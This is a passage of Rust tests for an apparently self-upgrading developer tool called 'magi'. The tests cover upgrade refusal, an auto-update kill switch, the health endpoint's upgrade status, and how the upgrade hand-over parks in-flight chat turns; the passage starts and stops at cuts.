14725        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
14726            std::thread::sleep(Duration::from_millis(5));
14727        }
14728        assert!(!talks.turn_held(id), "the lease is released first");
14729        assert!(slots.live.contains(id), "the slot is still held meanwhile");
14730        drop(slots);
14731        dropper.join().expect("join");
14732        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
14733    }
14734
14735    #[tokio::test]
14736    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
14737        let fx = Fixture::start().await;
14738        // Somebody else's `magi serve` owns the queue. Replacing this binary
14739        // would leave that process running an old one against the same
14740        // claims, which is worse than refusing.
14741        let mut beat = crate::daemon::Status::new();
14742        beat.pid = 4321;
14743        beat.updated_at = jiff::Timestamp::now();
14744        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14745            .expect("publish a heartbeat");
14746
14747        let res = fx.post("/api/upgrade", None).await;
14748        assert_eq!(res.status, 409);
14749        let err = res.json()["error"].as_str().unwrap().to_owned();
14750        assert!(err.contains("4321"), "the refusal names the owner: {err}");
14751        assert!(err.contains("old one against the same queue"), "{err}");
14752    }
14753
14754    /// [`should_spawn_recheck`] must refuse for the same two reasons
14755    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
14756    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
14757    /// Purely a predicate over config and the environment - no network, no
14758    /// disk, no runtime - so unlike the fixture-based tests around it this
14759    /// one needs neither.
14760    #[test]
14761    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
14762        assert!(!should_spawn_recheck(&crate::config::Update {
14763            mode: UpdateMode::Off,
14764            interval: None,
14765        }));
14766
14767        // SAFETY: single-threaded as far as this variable goes, the same
14768        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
14769        unsafe {
14770            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14771        }
14772        let killed = should_spawn_recheck(&crate::config::Update {
14773            mode: UpdateMode::Notify,
14774            interval: None,
14775        });
14776        unsafe {
14777            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14778        }
14779        assert!(
14780            !killed,
14781            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
14782             one-time startup check"
14783        );
14784
14785        assert!(should_spawn_recheck(&crate::config::Update {
14786            mode: UpdateMode::Notify,
14787            interval: None,
14788        }));
14789    }
14790
14791    /// [`recheck_poll_period`] must track a configured `[update] interval`
14792    /// shorter than its own default ceiling - a fixed sleep here would leave
14793    /// an operator's short interval waiting on the next wake-up instead of on
14794    /// `should_check`, which is the same bug this whole task exists to fix,
14795    /// just one level down.
14796    #[test]
14797    fn recheck_poll_period_tracks_a_short_configured_interval() {
14798        let short = crate::config::Update {
14799            mode: UpdateMode::Notify,
14800            interval: Some("1m".to_owned()),
14801        };
14802        let period = recheck_poll_period(&short);
14803        assert!(
14804            period <= Duration::from_secs(30),
14805            "a one-minute interval must wake the task far sooner than the \
14806             default ceiling, or the deck would not notice within the \
14807             interval the operator configured: got {period:?}"
14808        );
14809
14810        let default = crate::config::Update {
14811            mode: UpdateMode::Notify,
14812            interval: None,
14813        };
14814        assert_eq!(
14815            recheck_poll_period(&default),
14816            UPDATE_RECHECK_POLL_MAX,
14817            "the default day-long interval should poll at the (capped) \
14818             ceiling rather than needlessly often"
14819        );
14820    }
14821
14822    /// [`update_recheck_due`] must not repeat a check made moments ago, the
14823    /// same throttle `updater::Checker::should_check` already gives the
14824    /// CLI's notify mode. Built over an explicit state file via
14825    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
14826    /// write the operator's real `last_update_check.json` - and therefore
14827    /// cannot flake on whatever that file happens to say on the machine
14828    /// running the test.
14829    #[test]
14830    fn recheck_skips_the_network_before_the_interval_elapses() {
14831        let dir = TempDir::new().expect("temp dir");
14832        let path = dir.path().join("state.json");
14833        let state = kaishin::UpdateCheckState {
14834            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
14835            last_known_latest: None,
14836            last_known_url: None,
14837        };
14838        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
14839
14840        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
14841        assert!(
14842            !update_recheck_due(&checker, None),
14843            "a check made moments ago must not be repeated before the \
14844             configured interval elapses"
14845        );
14846    }
14847
14848    /// An upgrade this deck already started must not be raced by a recheck
14849    /// that discovers a newer release mid-install - regardless of what
14850    /// `should_check` says, which is why the state file here is missing
14851    /// entirely: read alone, that alone would answer "never checked, go
14852    /// ahead".
14853    #[test]
14854    fn recheck_defers_to_an_upgrade_already_in_flight() {
14855        let dir = TempDir::new().expect("temp dir");
14856        let path = dir.path().join("state.json");
14857        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
14858        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
14859
14860        assert!(
14861            !update_recheck_due(&checker, Some(&progress)),
14862            "a recheck must not run while an upgrade this deck started is \
14863             still moving"
14864        );
14865    }
14866
14867    #[tokio::test]
14868    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
14869        // The same env var the background check honours (`disabled_by_env`)
14870        // must also stop a button press before it ever calls
14871        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
14872        // means "never contact GitHub from this process", and a tap on the
14873        // upgrade button must not override that any more than a broken
14874        // `magi.toml` may. Left unset, this fixture's default config would
14875        // otherwise reach a real, unauthenticated GitHub call.
14876        //
14877        // SAFETY: single-threaded as far as this variable goes - nothing else
14878        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
14879        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
14880        unsafe {
14881            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14882        }
14883        let fx = Fixture::start().await;
14884        let res = fx.post("/api/upgrade", None).await;
14885        unsafe {
14886            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14887        }
14888        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14889        let body = res.json();
14890        assert!(body["to"].is_null(), "there was no release to move to");
14891        assert!(body["parked"].is_null(), "and nothing was parked");
14892        assert!(
14893            body["detail"]
14894                .as_str()
14895                .unwrap()
14896                .contains("disabled by MAGI_NO_AUTOUPDATE"),
14897            "{body:?}"
14898        );
14899    }
14900
14901    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
14902        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
14903        p.stage = stage;
14904        p
14905    }
14906
14907    #[test]
14908    fn busy_stages_match_the_ui_set() {
14909        use crate::updater::Stage;
14910        assert!(APP_JS.contains(
14911            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
14912        ));
14913        for s in [
14914            Stage::Downloading,
14915            Stage::Replaced,
14916            Stage::Parking,
14917            Stage::Restarting,
14918        ] {
14919            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
14920        }
14921        for s in [Stage::Done, Stage::Failed] {
14922            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
14923        }
14924        assert!(upgrade_in_motion(None).is_none());
14925    }
14926
14927    #[tokio::test]
14928    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
14929        use crate::updater::Stage;
14930        for stage in [
14931            Stage::Downloading,
14932            Stage::Replaced,
14933            Stage::Parking,
14934            Stage::Restarting,
14935        ] {
14936            let fx = Fixture::start().await;
14937            let seeded = seeded_progress(stage);
14938            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
14939            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
14940                .expect("read");
14941
14942            let res = fx.post("/api/upgrade", None).await;
14943            assert_eq!(res.status, 409, "{stage:?}");
14944            let err = res.json()["error"].as_str().unwrap().to_owned();
14945            assert!(err.contains("already in progress"), "{err}");
14946            assert!(err.contains(stage.as_str()), "{err}");
14947
14948            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
14949                .expect("read");
14950            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
14951            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
14952                .unwrap_or_default();
14953            assert!(!log.contains("signalling HANDOVER"), "{log}");
14954        }
14955    }
14956
14957    #[tokio::test]
14958    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
14959        use crate::updater::Stage;
14960        let repo = TempDir::new().expect("repo dir");
14961        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14962            .expect("write magi.toml");
14963        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14964        for stage in [Stage::Done, Stage::Failed] {
14965            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
14966            let res = fx.post("/api/upgrade", None).await;
14967            assert_eq!(res.status, 200, "{stage:?}");
14968        }
14969        // No record at all, and the gate was released by the earlier calls.
14970        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
14971        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
14972    }
14973
14974    #[tokio::test]
14975    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
14976        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
14977        // and the route answers from its own logic.
14978        //
14979        // This test used to lean on the fixture's placeholder repo failing
14980        // config discovery, which left `mode = "notify"` - and a live,
14981        // unauthenticated call to the GitHub releases API inside a unit test.
14982        // GitHub allows 60 of those an hour per address, so the suite went red
14983        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
14984        // long as somebody kept re-running it: every attempt spent another
14985        // request. Six reruns across four pull requests were charged to that
14986        // before it was read as a rate limit rather than a flake.
14987        //
14988        // What the assertion is about is the "already current" branch, which
14989        // is reached by there being no newer release *or* nowhere to look. The
14990        // second one needs no network and cannot be rate limited.
14991        let repo = TempDir::new().expect("repo dir");
14992        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14993            .expect("write magi.toml");
14994        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14995
14996        // It must answer 200 and leave the process alone: restarting for an
14997        // upgrade that did not happen parks the run in flight and drops every
14998        // connection to pay for nothing. A probe against a deck already on the
14999        // newest build did exactly that, which is how this case got its own
15000        // branch.
15001        let res = fx.post("/api/upgrade", None).await;
15002        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
15003        let body = res.json();
15004        assert!(body["to"].is_null(), "there was no release to move to");
15005        assert!(body["parked"].is_null(), "and nothing was parked");
15006        assert!(
15007            body["detail"]
15008                .as_str()
15009                .unwrap()
15010                .contains("nothing restarted"),
15011            "{body:?}"
15012        );
15013    }
15014
15015    #[tokio::test]
15016    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
15017        // `mode = "off"` for the same reason as the test above: a default
15018        // fixture repo falls back to `mode = "notify"`, which would make this
15019        // route's new `update` field a live, unauthenticated GitHub call on
15020        // every assertion in this suite that happens to hit `/api/health`.
15021        let repo = TempDir::new().expect("repo dir");
15022        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
15023            .expect("write magi.toml");
15024        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
15025
15026        let health = fx.get("/api/health").await.json();
15027        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
15028        assert_eq!(
15029            health["update"]["available"], false,
15030            "checking is off, which reads as \"unknown\", not \"none\""
15031        );
15032        assert!(health["update"]["to"].is_null());
15033        assert!(
15034            health["upgrade"].is_null(),
15035            "nothing has ever asked this deck to upgrade"
15036        );
15037    }
15038
15039    #[tokio::test]
15040    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
15041        let fx = Fixture::start().await;
15042        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
15043
15044        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15045        progress.parked_run = Some("20260905-000000-cd51".to_owned());
15046        progress.advance(crate::updater::Stage::Parking);
15047        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15048
15049        let health = fx.get("/api/health").await.json();
15050        assert_eq!(health["upgrade"]["stage"], "parking");
15051        assert_eq!(health["upgrade"]["from"], "0.5.1");
15052        assert_eq!(health["upgrade"]["to"], "0.5.2");
15053        let waiting_on = health["upgrade"]["waiting_on"]
15054            .as_str()
15055            .expect("waiting_on is set while parking a known run");
15056        assert!(waiting_on.contains("cd51"), "{waiting_on}");
15057        assert!(waiting_on.contains("implementing"), "{waiting_on}");
15058    }
15059
15060    #[tokio::test]
15061    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
15062        let fx = Fixture::start().await;
15063        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15064        progress.advance(crate::updater::Stage::Done);
15065        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15066
15067        let health = fx.get("/api/health").await.json();
15068        assert_eq!(health["upgrade"]["stage"], "done");
15069        assert!(
15070            health["upgrade"]["waiting_on"].is_null(),
15071            "nothing to wait on once it is done"
15072        );
15073    }
15074
15075    #[tokio::test]
15076    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
15077        let home = TempDir::new().expect("temp home");
15078        let runs = home.path().join("runs");
15079        std::fs::create_dir_all(&runs).expect("runs dir");
15080        let ui = Ui::new(
15081            Queue::at(home.path().join("queue")),
15082            Questions::at(home.path().join("questions")),
15083            Talks::at(home.path().join("talks")),
15084            runs,
15085            home.path().to_path_buf(),
15086            PathBuf::from("/repo/magi"),
15087        )
15088        .with_launch(launch_idle);
15089        let looping = ui.looping();
15090        let turns = ui.turns();
15091        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15092            .await
15093            .expect("bind loopback");
15094        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15095
15096        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15097        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15098
15099        hand_over(
15100            home.path(),
15101            &looping,
15102            &turns,
15103            &|_: &[String]| Duration::from_secs(5),
15104            served,
15105            |_| Ok(1),
15106        )
15107        .await
15108        .expect("hand over");
15109
15110        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
15111        assert_eq!(
15112            after.stage,
15113            crate::updater::Stage::Restarting,
15114            "hand_over owns the record through parking and up to restarting; \
15115             the successor is what finishes it"
15116        );
15117    }
15118
15119    /// The successor is started exactly once on success, and exactly once on
15120    /// failure too (a failed start is reported, never retried).
15121    #[tokio::test]
15122    async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
15123        for fail in [false, true] {
15124            let home = TempDir::new().expect("temp home");
15125            let ui = idle_ui(&home);
15126            let looping = ui.looping();
15127            let turns = ui.turns();
15128            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15129                .await
15130                .expect("bind loopback");
15131            let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15132            let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15133            crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15134
15135            let calls = std::sync::atomic::AtomicUsize::new(0);
15136            let outcome = hand_over(
15137                home.path(),
15138                &looping,
15139                &turns,
15140                &|_: &[String]| Duration::from_secs(5),
15141                served,
15142                |_| {
15143                    calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15144                    if fail {
15145                        anyhow::bail!("no exec")
15146                    } else {
15147                        Ok(4242)
15148                    }
15149                },
15150            )
15151            .await;
15152            assert_eq!(outcome.is_err(), fail);
15153            assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15154
15155            let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
15156                .expect("upgrade.log is written under the home");
15157            for step in [
15158                "entered",
15159                "finish_loop",
15160                "listener released",
15161                "starting the successor",
15162            ] {
15163                assert!(log.contains(step), "missing `{step}` in:\n{log}");
15164            }
15165            assert!(
15166                log.contains(if fail { "did not start" } else { "pid 4242" }),
15167                "{log}"
15168            );
15169        }
15170    }
15171
15172    /// The handover signal is seen however the race falls, and wakes its one
15173    /// waiter once per signal - nothing here can spin.
15174    #[tokio::test]
15175    async fn the_handover_signal_wakes_one_waiter_once() {
15176        let signal = Notify::new();
15177        // Signalled before anyone waits: the stored permit is not lost.
15178        signal.notify_one();
15179        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
15180            .await
15181            .expect("an early signal is still seen");
15182        // One signal, one wake-up: a second wait does not resolve by itself.
15183        assert!(
15184            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
15185                .await
15186                .is_err(),
15187            "a consumed signal must not wake a second time"
15188        );
15189        // Signalled while waiting.
15190        let signal = std::sync::Arc::new(signal);
15191        let waiter = tokio::spawn({
15192            let signal = std::sync::Arc::clone(&signal);
15193            async move { wait_for_handover(&signal).await }
15194        });
15195        tokio::time::sleep(Duration::from_millis(20)).await;
15196        assert!(!waiter.is_finished(), "nothing was signalled yet");
15197        signal.notify_one();
15198        tokio::time::timeout(Duration::from_secs(5), waiter)
15199            .await
15200            .expect("a late signal wakes the waiter")
15201            .expect("join");
15202    }
15203
15204    #[tokio::test]
15205    async fn health_says_how_long_a_handover_has_been_stuck() {
15206        let fx = Fixture::start().await;
15207        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15208        progress.advance(crate::updater::Stage::Replaced);
15209        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
15210        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15211
15212        let health = fx.get("/api/health").await.json();
15213        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
15214        assert!(stuck >= 600, "{stuck}");
15215        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
15216        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
15217    }
15218
15219    #[tokio::test]
15220    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
15221        let home = tempfile::tempdir().expect("temp home");
15222        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15223        progress.advance(crate::updater::Stage::Parking);
15224        crate::updater::write_progress(home.path(), &progress).expect("seed");
15225        // What the second upgrade_and_restart and its handler do.
15226        let mut again = progress.clone();
15227        again.advance(crate::updater::Stage::Replaced);
15228        crate::updater::write_progress(home.path(), &again).expect("replaced");
15229        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15230        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
15231        let after = crate::updater::read_progress(home.path()).expect("record");
15232        assert_eq!(after.stage, crate::updater::Stage::Parking);
15233    }
15234
15235    #[tokio::test]
15236    async fn health_does_not_call_a_live_parking_wait_stuck() {
15237        let fx = Fixture::start().await;
15238        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15239        progress.parked_run = Some("20260905-000000-cd51".to_owned());
15240        progress.advance(crate::updater::Stage::Parking);
15241        let hours = Duration::from_secs(3 * 3600);
15242        progress.started_at = Timestamp::now() - hours;
15243        progress.updated_at = Timestamp::now() - hours;
15244        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15245        let _lease = crate::updater::LeaseGuard::enter(
15246            fx.home.path(),
15247            Some("20260905-000000-cd51".to_owned()),
15248        );
15249
15250        let health = fx.get("/api/health").await.json();
15251        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
15252        assert!(health["upgrade"]["stuck_kind"].is_null());
15253        assert_eq!(health["upgrade"]["handover_alive"], true);
15254        let waiting_on = health["upgrade"]["waiting_on"]
15255            .as_str()
15256            .expect("waiting_on");
15257        assert!(waiting_on.contains("cd51"), "{waiting_on}");
15258    }
15259
15260    fn idle_ui(home: &TempDir) -> Ui {
15261        let runs = home.path().join("runs");
15262        std::fs::create_dir_all(&runs).expect("runs dir");
15263        Ui::new(
15264            Queue::at(home.path().join("queue")),
15265            Questions::at(home.path().join("questions")),
15266            Talks::at(home.path().join("talks")),
15267            runs,
15268            home.path().to_path_buf(),
15269            PathBuf::from("/repo/magi"),
15270        )
15271        .with_launch(launch_idle)
15272    }
15273
15274    async fn park_fixture(
15275        home: &TempDir,
15276    ) -> (
15277        Ui,
15278        Arc<Mutex<LoopState>>,
15279        Arc<Mutex<TalkTurns>>,
15280        tokio::task::JoinHandle<std::io::Result<()>>,
15281    ) {
15282        let ui = idle_ui(home);
15283        let looping = ui.looping();
15284        let turns = ui.turns();
15285        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15286            .await
15287            .expect("bind loopback");
15288        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
15289        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15290        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15291        (ui, looping, turns, served)
15292    }
15293
15294    /// The hand-over does not release the address while a chat turn is in
15295    /// flight, a `/say` arriving meanwhile starts nothing, and the successor is
15296    /// started once the turn ends.
15297    #[tokio::test]
15298    async fn hand_over_waits_for_a_running_chat_turn() {
15299        let home = TempDir::new().expect("temp home");
15300        let (ui, looping, turns, served) = park_fixture(&home).await;
15301        let ui = Arc::new(ui);
15302        let id = "20260901-000000-chat";
15303        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15304
15305        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
15306        let handover = tokio::spawn({
15307            let home = home.path().to_path_buf();
15308            let turns = Arc::clone(&turns);
15309            let calls = Arc::clone(&calls);
15310            async move {
15311                hand_over(
15312                    &home,
15313                    &looping,
15314                    &turns,
15315                    &|_: &[String]| Duration::from_secs(60),
15316                    served,
15317                    move |_| {
15318                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15319                        Ok(1)
15320                    },
15321                )
15322                .await
15323            }
15324        });
15325
15326        let waiting = async {
15327            for _ in 0..200 {
15328                if crate::updater::read_progress(home.path())
15329                    .is_some_and(|p| p.parked_talks == [id.to_owned()])
15330                {
15331                    return;
15332                }
15333                tokio::time::sleep(Duration::from_millis(25)).await;
15334            }
15335            panic!("the park never named the chat turn");
15336        };
15337        waiting.await;
15338        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15339
15340        // A new turn is refused, a queued claim and a direct `/say` see a busy
15341        // slot, and nothing new is live.
15342        let refused = ui.begin_talk_turn("20260901-000000-late").err();
15343        assert!(
15344            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
15345            "a direct start says an upgrade is in progress"
15346        );
15347        assert!(
15348            ui.begin_queued_talk_turn("20260901-000000-late")
15349                .expect("queued claim")
15350                .is_none()
15351        );
15352        assert!(matches!(
15353            ui.begin_talk_turn_unless_pending("20260901-000000-late")
15354                .expect("start"),
15355            TalkTurnStart::Busy
15356        ));
15357        assert_eq!(turns.lock().unwrap().live.len(), 1);
15358
15359        // The health text names the turn.
15360        let progress = crate::updater::read_progress(home.path()).expect("progress");
15361        let view = upgrade_progress_view(&ui, progress);
15362        assert!(
15363            view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
15364            "{:?}",
15365            view.waiting_on
15366        );
15367
15368        assert!(!handover.is_finished());
15369        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15370        drop(turn);
15371        handover.await.expect("join").expect("hand over");
15372        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15373        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
15374    }
15375
15376    /// Chat stays open while the loop is still parking, and closes only once
15377    /// the loop is done; a turn started during the park is waited for.
15378    #[tokio::test]
15379    async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
15380        let home = TempDir::new().expect("temp home");
15381        let (ui, looping, turns, served) = park_fixture(&home).await;
15382        let ui = Arc::new(ui);
15383        // A loop that ends only when told to.
15384        let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
15385        lock_or_recover(&looping).live = Some(Live {
15386            stop: daemon::Stop::new(),
15387            handle: tokio::spawn(async move {
15388                let _ = loop_ended.await;
15389            }),
15390            opts: daemon::Opts::default(),
15391        });
15392
15393        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
15394        let handover = tokio::spawn({
15395            let home = home.path().to_path_buf();
15396            let turns = Arc::clone(&turns);
15397            let calls = Arc::clone(&calls);
15398            async move {
15399                hand_over(
15400                    &home,
15401                    &looping,
15402                    &turns,
15403                    &|_: &[String]| Duration::from_secs(60),
15404                    served,
15405                    move |_| {
15406                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15407                        Ok(1)
15408                    },
15409                )
15410                .await
15411            }
15412        });
15413
15414        let reached = async {
15415            for _ in 0..200 {
15416                if crate::updater::read_progress(home.path())
15417                    .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
15418                {
15419                    return;
15420                }
15421                tokio::time::sleep(Duration::from_millis(25)).await;
15422            }
15423            panic!("the hand-over never reached parking");
15424        };
15425        reached.await;
15426
15427        // The loop is still parking: a chat turn starts.
15428        assert!(!turns.lock().unwrap().parking);
15429        let turn = ui
15430            .begin_talk_turn("20260901-000000-chat")
15431            .expect("claim")
15432            .expect("a turn can start while the loop parks");
15433
15434        // The loop ends; the slot closes while the first turn is still held.
15435        end_loop.send(()).expect("loop still waiting");
15436        for _ in 0..200 {
15437            if turns.lock().unwrap().parking {
15438                break;
15439            }
15440            tokio::time::sleep(Duration::from_millis(25)).await;
15441        }
15442        assert!(
15443            turns.lock().unwrap().parking,
15444            "closed once the loop is done"
15445        );
15446        let refused = ui.begin_talk_turn("20260901-000000-late").err();
15447        assert!(
15448            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
15449            "no turn starts once the loop is done"
15450        );
15451        assert!(
15452            ui.begin_queued_talk_turn("20260901-000000-late")
15453                .expect("queued claim")
15454                .is_none()
15455        );
15456        assert!(!handover.is_finished());
15457        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15458
15459        drop(turn);
15460        handover.await.expect("join").expect("hand over");
15461        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15462        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
15463    }
15464
15465    /// A turn that never ends cannot block the upgrade: past the bound the
15466    /// hand-over proceeds and records which talk it gave up on.
15467    #[tokio::test]
15468    async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
15469        let home = TempDir::new().expect("temp home");
15470        let (ui, looping, turns, served) = park_fixture(&home).await;
15471        let id = "20260901-000000-stuk";
15472        let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15473
15474        let calls = std::sync::atomic::AtomicUsize::new(0);
15475        hand_over(
15476            home.path(),
15477            &looping,
15478            &turns,
15479            &|_: &[String]| Duration::from_millis(300),
15480            served,
15481            |_| {
15482                calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15483                Ok(1)
15484            },
15485        )
15486        .await
15487        .expect("hand over");
15488        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15489
15490        let progress = crate::updater::read_progress(home.path()).expect("progress");
15491        assert_eq!(progress.stage, crate::updater::Stage::Restarting);
15492        assert!(
15493            progress.detail.as_deref().is_some_and(|d| d.contains(id)),
15494            "{:?}",
15495            progress.detail
15496        );
15497        let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
15498        assert!(
15499            log.contains("handing over anyway") && log.contains(id),
15500            "{log}"
15501        );
15502    }
15503
15504    /// A drain that finds the upgrade parking leaves the queued draft alone
15505    /// and gives the slot up, instead of starting another turn.
15506    #[tokio::test]
15507    async fn drain_loop_starts_no_turn_while_parking() {
15508        let tmp = TempDir::new().expect("tempdir");
15509        let repo = tmp.path().join("repo");
15510        std::fs::create_dir_all(&repo).expect("repo dir");
15511        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15512        let home = TempDir::new().expect("temp home");
15513        let talks = Talks::at(home.path().join("talks"));
15514        let ui = Ui::new(
15515            Queue::at(home.path().join("queue")),
15516            Questions::at(home.path().join("questions")),
15517            talks.clone(),
15518            home.path().join("runs"),
15519            home.path().to_path_buf(),
15520            repo.clone(),
15521        )
15522        .with_worktrees_root(home.path().join("wt"));
15523        let cfg = config_for(&repo).await.expect("discover config");
15524        let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15525        let id = talk.id.clone();
15526        talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
15527        let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
15528        let turns = ui.turns();
15529        let parking = ParkingTurns::begin(&turns);
15530
15531        drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
15532
15533        assert!(
15534            turns.lock().unwrap().live.is_empty(),
15535            "the slot is given up"
15536        );
15537        let fresh = talks.get(&id).expect("talk");
15538        assert_eq!(fresh.pending, "later", "the draft is still queued");
15539        assert!(fresh.turns.is_empty(), "no turn ran");
15540        drop(parking);
15541    }
15542
15543    /// Run `hand_over` against `ui` and return what the successor was told.
15544    async fn handed_over(home: &TempDir, ui: Ui) -> bool {
15545        let looping = ui.looping();
15546        let turns = ui.turns();
15547        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15548            .await
15549            .expect("bind loopback");
15550        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15551        let told = std::sync::Mutex::new(None);
15552        hand_over(
15553            home.path(),
15554            &looping,
15555            &turns,
15556            &|_: &[String]| Duration::from_secs(5),
15557            served,
15558            |resume| {
15559                *told.lock().unwrap() = Some(resume);
